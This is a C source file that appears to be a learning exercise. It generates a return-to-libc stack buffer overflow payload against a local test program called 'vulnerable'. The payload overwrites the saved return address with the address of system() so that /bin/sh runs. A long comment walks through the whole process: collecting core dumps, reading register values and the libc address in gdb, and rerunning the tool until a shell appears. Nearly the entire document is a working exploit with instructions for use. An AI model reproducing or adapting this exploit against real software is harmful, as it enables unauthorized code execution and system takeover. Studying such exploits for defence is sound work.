// gcc -o exploit-1 exploit-1.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static const char *executable = "/home/cs/lang/c-c++/vulnerable";

static const char *execute    = "/bin/sh";

/*
 * The procedure is as follows.
 * You create an attack string of big enough size. For our example this will be only 500 (#define BUFSIZE 500).
 * > ./exploit-1 > out.txt
 * We then use this attack string as input to our vulnerable executable. And don't forget to switch core dumps on
 * > ulimit -c unlimited
 * > ./vulnerable `cat out.txt`
 *
 * We continue with gdb and the created core dump. 
 * > gdb ./vulnerable core
 * we use 
 * > info reg
 * to see all the registers values and I find for example:
 * > ebp            0x61610106	0x61610106
 *
 * the first thing that happens when a function is called is:
 * >         pushl %ebp
 * and after the function return ebp will be restored. therefore we know that at offset 5 (5 * 4 byte count,
 * and because we started to count with 0x61610101) there is the location where ebp was stored.
 * Directly the next address, offset 6, is the return address of the jump which will be written
 * into the program counter upon return from the function. This position has to be overwritten
 * with a pointer to our executable code or even better with a pointer to a function in libc like
 * system(). The address of the system() libc function we find by using gdb with the core:
 * > info address system
 * > Symbol "system" is at 0x40063590 in a file compiled without debugging.
 *
 * I am not sure if this value is a constant accross systems or accross restarts of a computer?
 * But it is a constant across several executions of the program.
 *
 * We will have finally:
 * - ebp
 * - system() address
 * - pseudo return address. when we are inside of the system() function it will "think" that this
 *   is the return address where it should jump after finishing its execution, but because we do not
 *   need system() to return this can be an arbitrary value.
 * - location of the arguments to the system() call which is our char * (should point to address of itself + 4)
 * - location of the character string where our char * points to.
 * 
 * The argument for system, which is a char *, is simply put on the stack after the pseudo return address to 
 * the system() function as on x86 all arguments to function calls are on the stack. We then put
 * our char buffer after this char * and our attack string is ready to go.
 *
 * But before we are there we neet to find out what absolute value this char * needs to have. And
 * because all the environment, and all the program arguments are on the stack every change in the
 * length of our attack string will result in a change of the stack location where our char *
 * should point to. Therefore we need to create another attack string of correct length and get another
 * core dump again:
 * 
 * The next step is to regenerate an attack string.
 * > ./exploit-1 6 > out.txt
 * > ./vulnerable `cat out.txt`
 * Now we can examine this core dump and find 
 * > info reg esp
 * > esp            0xbffffa44	0xbffffa44
 * Because at the point of the core dump the stack pointer will point to the location after
 * the return address (this was the last value which was taken off the stack). This will be the
 * absolute location of our char * -4 and the char * should point to an address of itself plus + 4
 *
 * Finally we recreate the attack string with correct values:
 * > ./exploit-1 6 0xbffffa44 0x40063590 > out.txt
 * > ./vulnerable `cat out.txt`
 * et voila:
 * > sh-2.05a$
 * we have a shell :)
 * 
 * When you now exit the shell you get a segfault. you could solve this problem by
 * setting the return environment correctly for the system() call with the
 * > static unsigned int real_return    = 0x08048480;
 * > static unsigned int real_ebp_value = 0xbffffaac;
 * values. 
 */



//bp is the basepointer (%ebp) as it would be when we were in the function that allocates the buffer
//   which we exploit.
//bp + 4 is the address where the return address of the jump is stored and which has to be set to my code
//bp + 8 is the starting point of my code.
//bp + 8 is also the value of the stack pointer (%esp) when we simply overwrite the buffer up to the return
//   address and we get a core dump. when we start gdb with that core and examine
//   info reg esp
//   then we get this value.

static unsigned int stack_pointer  = 0xbffffa3c + 8;// put here value of esp of the core dump

static unsigned int string_address = 0;

static unsigned int system_call    = 0x40063590;// address of the system() libc function. use "info address system"
                                                // in gdb (while you debug the core dump) do find this value.
static unsigned int nirvana        = 0xbfffffff;
static unsigned int real_return    = 0x08048480;
static unsigned int real_ebp_value = 0xbffffaac;

void exploit() {
  system(execute);
}

#define TRUE  ~0
#define FALSE 0
#define BUFSIZE 500

int main(int argc, char **argv) {
  char nop    = 0x90;
  char int_03 = 0xcc;
  char attack_string[BUFSIZE];
  int i, k, len = 6;// adapt len acording to the value of ebp in the core dump, 6 if ebp = 0x61610106
  int stage = 0;
  unsigned int  function_call = nirvana;

  if(argc >=2) {
    stage = 1;
    sscanf(argv[1],"%d", &len);
  }
  if(argc >=3) {
    stage = 2;
    sscanf(argv[2],"%x", &stack_pointer);
  }
  if(argc >=4) {
    sscanf(argv[3],"%x", &system_call);
  }
  
  if(stage == 2)
    function_call = system_call;
  string_address = stack_pointer + 8;

  //some assembly mnemonics:
  //68 44 10 40 00          push   $0x401044
  //ff 25 a0 40 40 00       jmp    *0x4040a0

  //b9 01 01 01 05          mov    $0x5010101,%ecx
  //81 e9 01 01 01 01       sub    $0x1010101,%ecx
  //ff e1                   jmp    *%ecx

  if(stage == 0)
    len = (BUFSIZE - 1) / 4;

  memset(attack_string, 0, BUFSIZE);
  k = 0;
  i = 0x0101;
  while(k < len) {
    // avoid 0's in attack string
    if((i & 0x00ff) == 0)
      i += 0x0001;
    if((i & 0xff00) == 0)
      i += 0x0100;
    attack_string[k * 4 + 0] = (i & 0x00ff) >> 0 ;
    attack_string[k * 4 + 1] = (i & 0xff00) >> 8;
    attack_string[k * 4 + 2] = 'a';
    attack_string[k * 4 + 3] = 'a';
    i++;
    k++;
  }
  i  = k;
  k -= 1;
  if(stage > 0) {
    attack_string[k * 4 +  0] = (real_ebp_value & 0x000000ff) >> 0;
    attack_string[k * 4 +  1] = (real_ebp_value & 0x0000ff00) >> 8;
    attack_string[k * 4 +  2] = (real_ebp_value & 0x00ff0000) >> 16;
    attack_string[k * 4 +  3] = (real_ebp_value & 0xff000000) >> 24;

    attack_string[i * 4 +  0] = (function_call & 0x000000ff) >> 0;
    attack_string[i * 4 +  1] = (function_call & 0x0000ff00) >> 8;
    attack_string[i * 4 +  2] = (function_call & 0x00ff0000) >> 16;
    attack_string[i * 4 +  3] = (function_call & 0xff000000) >> 24;

    attack_string[i * 4 +  4] = (real_return & 0x000000ff) >> 0;
    attack_string[i * 4 +  5] = (real_return & 0x0000ff00) >> 8;
    attack_string[i * 4 +  6] = (real_return & 0x00ff0000) >> 16;
    attack_string[i * 4 +  7] = (real_return & 0xff000000) >> 24;
    
    attack_string[i * 4 +  8] = (string_address & 0x000000ff) >> 0;
    attack_string[i * 4 +  9] = (string_address & 0x0000ff00) >> 8;
    attack_string[i * 4 + 10] = (string_address & 0x00ff0000) >> 16;
    attack_string[i * 4 + 11] = (string_address & 0xff000000) >> 24;
    i += 3;
    
    strncpy(attack_string + i * 4, execute, BUFSIZE - i * 4 - 1);
  }

  //execlp(executable, executable, attack_string, NULL);
  printf(attack_string);
  fprintf(stderr, "length of attack string: %d\n", strlen(attack_string));
}
